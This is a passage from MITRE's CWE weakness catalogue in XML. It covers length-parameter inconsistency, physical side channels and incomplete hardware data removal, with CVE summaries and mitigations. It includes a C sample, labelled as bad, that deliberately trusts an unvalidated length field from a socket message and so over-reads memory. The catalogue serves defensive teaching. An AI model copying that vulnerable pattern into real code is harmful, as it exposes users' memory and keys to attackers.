         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-91">
               <Intro_Text>In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int processMessageFromSocket(int socket) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>int success;<xhtml:br/>
                           <xhtml:br/>char buffer[BUFFER_SIZE];<xhtml:br/>char message[MESSAGE_SIZE];<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// get message from socket and store into buffer</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>//Ignoring possibliity that buffer &gt; BUFFER_SIZE</xhtml:i>
                           <xhtml:br/>if (getMessage(socket, buffer, BUFFER_SIZE) &gt; 0) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>// place contents of the buffer into message structure</xhtml:i>
                                 <xhtml:br/>ExMessage *msg = recastBuffer(buffer);<xhtml:br/>
                                 <xhtml:br/>
                                 <xhtml:i>// copy message body into string for processing</xhtml:i>
                                 <xhtml:br/>int index;<xhtml:br/>for (index = 0; index &lt; msg-&gt;msgLength; index++) {<xhtml:div style="margin-left:1em;">message[index] = msg-&gt;msgBody[index];</xhtml:div>}<xhtml:br/>message[index] = '\0';<xhtml:br/>
                                 <xhtml:br/>
                                 <xhtml:i>// process message</xhtml:i>
                                 <xhtml:br/>success = processMessage(message);</xhtml:div>
                           </xhtml:div>}<xhtml:br/>return success;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of the message body (CWE-606). This can result in a buffer over-read (CWE-125) by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2014-0160</Reference>
               <Description>Chain: "Heartbleed" bug receives an inconsistent length parameter (CWE-130) enabling an out-of-bounds read (CWE-126), returning memory that could include private cryptographic keys and other sensitive data.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2014-0160</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2299</Reference>
               <Description>Web application firewall consumes excessive memory when an HTTP request contains a large Content-Length value but no POST data.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2299</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0825</Reference>
               <Description>Buffer overflow in internal string handling routine allows remote attackers to execute arbitrary commands via a length argument of zero or less, which disables the length check.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0825</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1186</Reference>
               <Description>Web server allows remote attackers to cause a denial of service via an HTTP request with a content-length value that is larger than the size of the request, which prevents server from timing out the connection.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1186</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0191</Reference>
               <Description>Service does not properly check the specified length of a cookie, which allows remote attackers to execute arbitrary commands via a buffer overflow, or brute force authentication by using a short cookie length.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0191</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0429</Reference>
               <Description>Traffic analyzer allows remote attackers to cause a denial of service and possibly execute arbitrary code via invalid IPv4 or IPv6 prefix lengths, possibly triggering a buffer overflow.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0429</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0655</Reference>
               <Description>Chat client allows remote attackers to cause a denial of service or execute arbitrary commands via a JPEG image containing a comment with an illegal field length of 1.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0655</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0492</Reference>
               <Description>Server allows remote attackers to cause a denial of service and possibly execute arbitrary code via a negative Content-Length HTTP header field causing a heap-based buffer overflow.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0492</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0201</Reference>
               <Description>Help program allows remote attackers to execute arbitrary commands via a heap-based buffer overflow caused by a .CHM file with a large length field</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0201</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0825</Reference>
               <Description>Name services does not properly validate the length of certain packets, which allows attackers to cause a denial of service and possibly execute arbitrary code. Can overlap zero-length issues</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0825</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0095</Reference>
               <Description>Policy manager allows remote attackers to cause a denial of service (memory consumption and crash) and possibly execute arbitrary code via an HTTP POST request with an invalid Content-Length value.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0095</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0826</Reference>
               <Description>Heap-based buffer overflow in library allows remote attackers to execute arbitrary code via a modified record length field in an SSLv2 client hello message.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0826</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0808</Reference>
               <Description>When domain logons are enabled, server allows remote attackers to cause a denial of service via a SAM_UAS_CHANGE request with a length value that is larger than the number of structures that are provided.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0808</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1357</Reference>
               <Description>Multiple SSH2 servers and clients do not properly handle packets or data elements with incorrect length specifiers, which may allow remote attackers to cause a denial of service or possibly execute arbitrary code.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1357</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0774</Reference>
               <Description>Server allows remote attackers to cause a denial of service (CPU and memory exhaustion) via a POST request with a Content-Length header set to -1.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0774</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0989</Reference>
               <Description>Multiple buffer overflows in xml library that may allow remote attackers to execute arbitrary code via long URLs.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0989</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0568</Reference>
               <Description>Application does not properly validate the length of a value that is saved in a session file, which allows remote attackers to execute arbitrary code via a malicious session file (.ht), web site, or Telnet URL contained in an e-mail message, triggering a buffer overflow.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0568</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0327</Reference>
               <Description>Server allows remote attackers to cause a denial of service via a remote password array with an invalid length, which triggers a heap-based buffer overflow.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0327</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0345</Reference>
               <Description>Product allows remote attackers to cause a denial of service and possibly execute arbitrary code via an SMB packet that specifies a smaller buffer length than is required.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0345</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0430</Reference>
               <Description>Server allows remote attackers to execute arbitrary code via a LoginExt packet for a Cleartext Password User Authentication Method (UAM) request with a PathName argument that includes an AFPName type string that is longer than the associated length field.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0430</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0064</Reference>
               <Description>PDF viewer allows remote attackers to execute arbitrary code via a PDF file with a large /Encrypt /Length keyLength value.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0064</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0413</Reference>
               <Description>SVN client trusts the length field of SVN protocol URL strings, which allows remote attackers to cause a denial of service and possibly execute arbitrary code via an integer overflow that leads to a heap-based buffer overflow.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0413</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0940</Reference>
               <Description>Is effectively an accidental double increment of a counter that prevents a length check conditional from exiting a loop.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0940</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1235</Reference>
               <Description>Length field of a request not verified.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1235</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-3184</Reference>
               <Description>Buffer overflow by modifying a length value.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3184</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>SECUNIA:18747</Reference>
               <Description>Length field inconsistency crashes cell phone.</Description>
               <Link>http://secunia.com/advisories/18747/</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Length Parameter Inconsistency</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted Input to Command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="47"/>
         </Related_Attack_Patterns>
         <Notes>
            <Note Type="Relationship">This probably overlaps other categories including zero-length issues.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Name, Relationships, Observed_Example, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Description, Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature, Demonstrative_Examples</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-09-09">Length Parameter Inconsistency</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-03-10">Failure to Handle Length Parameter Inconsistency</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="1300" Name="Improper Protection of Physical Side Channels" Abstraction="Base" Structure="Simple" Status="Stable">

	<Description>The device does not contain sufficient protection
	mechanisms to prevent physical side channels from exposing
	sensitive information due to patterns in physically observable
	phenomena such as variations in power consumption,
	electromagnetic emissions (EME), or acoustic emissions.</Description>
			
	<Extended_Description>
	  <xhtml:p>An adversary could monitor and measure physical
	  phenomena to detect patterns and make inferences, even if it
	  is not possible to extract the information in the digital
	  domain.</xhtml:p>
	  <xhtml:p>Physical side channels have been well-studied for
	  decades in the context of breaking implementations of
	  cryptographic algorithms or other attacks against security
	  features. These side channels may be easily observed by an
	  adversary with physical access to the device, or using a
	  tool that is in close proximity.  If the adversary can
	  monitor hardware operation and correlate its data processing
	  with power, EME, and acoustic measurements, the adversary
	  might be able to recover of secret keys and data.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="203" View_ID="1000" Ordinal="Primary"/>
				<Related_Weakness Nature="ChildOf" CWE_ID="203" View_ID="1194" Ordinal="Primary"/>
			</Related_Weaknesses>
		 <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
            </Weakness_Ordinality>
		 </Weakness_Ordinalities>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
				</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Impact>Read Memory</Impact>
					<Impact>Read Application Data</Impact>
				</Consequence>
			</Common_Consequences>
			<Detection_Methods>
			  <Detection_Method>
				<Method>Manual Analysis</Method>
				<Description>Perform a set of leakage detection tests such as the procedure outlined in the Test Vector Leakage Assessment (TVLA) test requirements for AES [REF-1230].  TVLA is the basis for the ISO standard 17825 [REF-1229]. A separate methodology is provided by [REF-1228]. Note that sole reliance on this method might not yield expected results [REF-1239] [REF-1240].</Description>
				<Effectiveness>Moderate</Effectiveness>
			  </Detection_Method>
			  <Detection_Method>
				<Method>Manual Analysis</Method>
				<Description>
				  <xhtml:p>Post-silicon, perform full side-channel attacks (penetration testing) covering as many known leakage models as possible against test code.</xhtml:p></Description>
				  <Effectiveness>Moderate</Effectiveness>
				</Detection_Method>
			  <Detection_Method>
				<Method>Manual Analysis</Method>
				<Description>
				  <xhtml:p>Pre-silicon - while the aforementioned TVLA methods can be performed post-silicon, models of device power consumption or other physical emanations can be built from information present at various stages of the hardware design process before fabrication. TVLA or known side-channel attacks can be applied to these simulated traces and countermeasures applied before tape-out.  Academic research in this field includes [REF-1231] [REF-1232] [REF-1233].</xhtml:p></Description>
				  <Effectiveness>Moderate</Effectiveness>
				</Detection_Method>
			  </Detection_Methods>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Description>Apply blinding or masking techniques to implementations of cryptographic algorithms.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Description>Add shielding or tamper-resistant protections to the device to increase the difficulty of obtaining measurements of the side-channel.</Description>
				</Mitigation>
			</Potential_Mitigations>
		<Demonstrative_Examples>
		  <Demonstrative_Example>
		    <Intro_Text>Consider a device that checks a
		    passcode to unlock the screen.</Intro_Text>
		    <Example_Code Nature="Bad">As each character of
		    the PIN number is entered, a correct character
		    exhibits one current pulse shape while an
		    incorrect character exhibits a different current
		    pulse shape.</Example_Code>
		    <Body_Text>PIN numbers used to unlock a cell phone
		    should not exhibit any characteristics about
		    themselves. This creates a side channel. An
		    attacker could monitor the pulses using an
		    oscilloscope or other method. Once the first
		    character is correctly guessed (based on the
		    oscilloscope readings), they can then move to the
		    next character, which is much more efficient than
		    the brute force method of guessing every possible
		    sequence of characters.</Body_Text>
		    <Example_Code Nature="Good">Rather than comparing
		    each character to the correct PIN value as it is
		    entered, the device could accumulate the PIN in a
		    register, and do the comparison all at once at the
		    end. Alternatively, the components for the
		    comparison could be modified so that the current
		    pulse shape is the same regardless of the
		    correctness of the entered
		    character.</Example_Code>
		  </Demonstrative_Example>
		  <Demonstrative_Example>
			<Intro_Text>Consider the device vulnerability CVE-2021-3011, which affects certain microcontrollers [REF-1221]. The Google Titan Security Key is used for two-factor authentication using cryptographic algorithms. The device uses an internal secret key for this purpose and exchanges information based on this key for the authentication. If this internal secret key and the encryption algorithm were known to an adversary, the key function could be duplicated, allowing the adversary to masquerade as the legitimate user.</Intro_Text>
			<Example_Code Nature="Bad">The local method of extracting the secret key consists of plugging the key into a USB port and using electromagnetic (EM) sniffing tools and computers.</Example_Code>
			<Example_Code Nature="Good">Several solutions could have been considered by the manufacturer. For example, the manufacturer could shield the circuitry in the key or add randomized delays, indirect calculations with random values involved, or randomly ordered calculations to make extraction much more difficult or a combination of these techniques.</Example_Code>
		  </Demonstrative_Example>
		</Demonstrative_Examples>
		<Observed_Examples>
		  <Observed_Example>
		    <Reference>CVE-2021-3011</Reference>
		    <Description>electromagnetic-wave side-channel in security-related microcontrollers allows extraction of private key</Description>
		    <Link>https://www.cve.org/CVERecord?id=CVE-2021-3011</Link>
		  </Observed_Example>
		  <Observed_Example>
		    <Reference>CVE-2013-4576</Reference>
		    <Description>message encryption software uses certain instruction sequences that allows RSA key extraction using a chosen-ciphertext attack and acoustic cryptanalysis</Description>
		    <Link>https://www.cve.org/CVERecord?id=CVE-2013-4576</Link>
		  </Observed_Example>
		  <Observed_Example>
		    <Reference>CVE-2020-28368</Reference>
		    <Description>virtualization product allows recovery of AES keys from the guest OS using a side channel attack against a power/energy monitoring interface.</Description>
		    <Link>https://www.cve.org/CVERecord?id=CVE-2020-28368</Link>
		  </Observed_Example>
		  <Observed_Example>
		    <Reference>CVE-2019-18673</Reference>
		    <Description>power consumption varies based on number of pixels being illuminated in a display, allowing reading of secrets such as the PIN by using the USB interface to measure power consumption</Description>
		    <Link>https://www.cve.org/CVERecord?id=CVE-2019-18673</Link>
		  </Observed_Example>
		</Observed_Examples>
		<Functional_Areas>
            	  <Functional_Area>Power</Functional_Area>
         	</Functional_Areas>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="189"/>
            <Related_Attack_Pattern CAPEC_ID="699"/>
         </Related_Attack_Patterns>
         <References>
				<Reference External_Reference_ID="REF-1117"/>
				<Reference External_Reference_ID="REF-1118"/>
				<Reference External_Reference_ID="REF-1119"/>
				<Reference External_Reference_ID="REF-1120"/>
				<Reference External_Reference_ID="REF-1055"/>
				<Reference External_Reference_ID="REF-1218"/>
				<Reference External_Reference_ID="REF-1221"/>
				<Reference External_Reference_ID="REF-1228"/>
				<Reference External_Reference_ID="REF-1229"/>
				<Reference External_Reference_ID="REF-1230"/>
				<Reference External_Reference_ID="REF-1231" Section="pp. 305-319"/>
				<Reference External_Reference_ID="REF-1232" Section="pp. 123-130"/>
				<Reference External_Reference_ID="REF-1233"/>
				<Reference External_Reference_ID="REF-1234"/>
				<Reference External_Reference_ID="REF-1235"/>
				<Reference External_Reference_ID="REF-1239"/>
				<Reference External_Reference_ID="REF-1240"/>
				<Reference External_Reference_ID="REF-1285"/>
				<Reference External_Reference_ID="REF-1286" Section="1.2 / 5"/>
			</References>
			<Content_History>
				<Submission>
					<Submission_Name>Nicole Fern</Submission_Name>
					<Submission_Organization>Tortuga Logic</Submission_Organization>
					<Submission_Date>2020-05-29</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Functional_Areas, Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Detection_Factors, Maintenance_Notes, Name, Observed_Examples, References, Relationships, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Contribution Type="Content">
				  <Contribution_Name>Anders Nordstrom, Alric Althoff</Contribution_Name>
				  <Contribution_Organization>Tortuga Logic</Contribution_Organization>
				  <Contribution_Date>2021-10-11</Contribution_Date>
				  <Contribution_Comment>Provided detection methods, observed examples, and references</Contribution_Comment>
				</Contribution>
				<Contribution Type="Content">
				  <Contribution_Name>Nicole Fern</Contribution_Name>
				  <Contribution_Organization>Riscure</Contribution_Organization>
				  <Contribution_Date>2021-10-13</Contribution_Date>
				  <Contribution_Comment>Provided detection methods, observed examples, and references</Contribution_Comment>
				</Contribution>
			<Previous_Entry_Name Date="2021-10-28">Improper Protection Against Physical Side Channels</Previous_Entry_Name>
			</Content_History>
		</Weakness>
      <Weakness ID="1301" Name="Insufficient or Incomplete Data Removal within Hardware Component" Abstraction="Base" Structure="Simple" Status="Incomplete">
			<Description>The product's data removal process does not completely delete all data and potentially sensitive information within hardware components.</Description>
			<Extended_Description>
				<xhtml:p>Physical properties of hardware devices, such as remanence of magnetic media, residual charge of ROMs/RAMs, or screen burn-in may still retain sensitive data after a data removal process has taken place and power is removed.</xhtml:p>
				<xhtml:p>Recovering data after erasure or overwriting is possible due to a phenomenon called data remanence. For example, if the same value is written repeatedly to a memory location, the corresponding memory cells can become physically altered to a degree such that even after the original data is erased that data can still be recovered through physical characterization of the memory cells.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="226" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
				</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Impact>Read Memory</Impact>
					<Impact>Read Application Data</Impact>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Description>Apply blinding or masking techniques to implementations of cryptographic algorithms.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Description>Alter the method of erasure, add protection of media, or destroy the media to protect the data.</Description>
				</Mitigation>
			</Potential_Mitigations>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="37"/>
         </Related_Attack_Patterns>
         <References>
				<Reference External_Reference_ID="REF-1117"/>
				<Reference External_Reference_ID="REF-1118"/>
				<Reference External_Reference_ID="REF-1119"/>
				<Reference External_Reference_ID="REF-1120"/>
				<Reference External_Reference_ID="REF-1055"/>
			</References>
			<Notes>
			  <Note Type="Maintenance">This entry is still under development and will continue to see updates and content improvements.</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>Nicole Fern</Submission_Name>
					<Submission_Organization>Tortuga Logic</Submission_Organization>
					<Submission_Date>2020-05-29</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1302" Name="Missing Security Identifier" Abstraction="Base" Structure="Simple" Status="Incomplete">
			<Description>The product implements a security identifier mechanism to differentiate what actions are allowed or disallowed when a transaction originates from an entity. A transaction is sent without a security identifier.</Description>
			<Extended_Description>
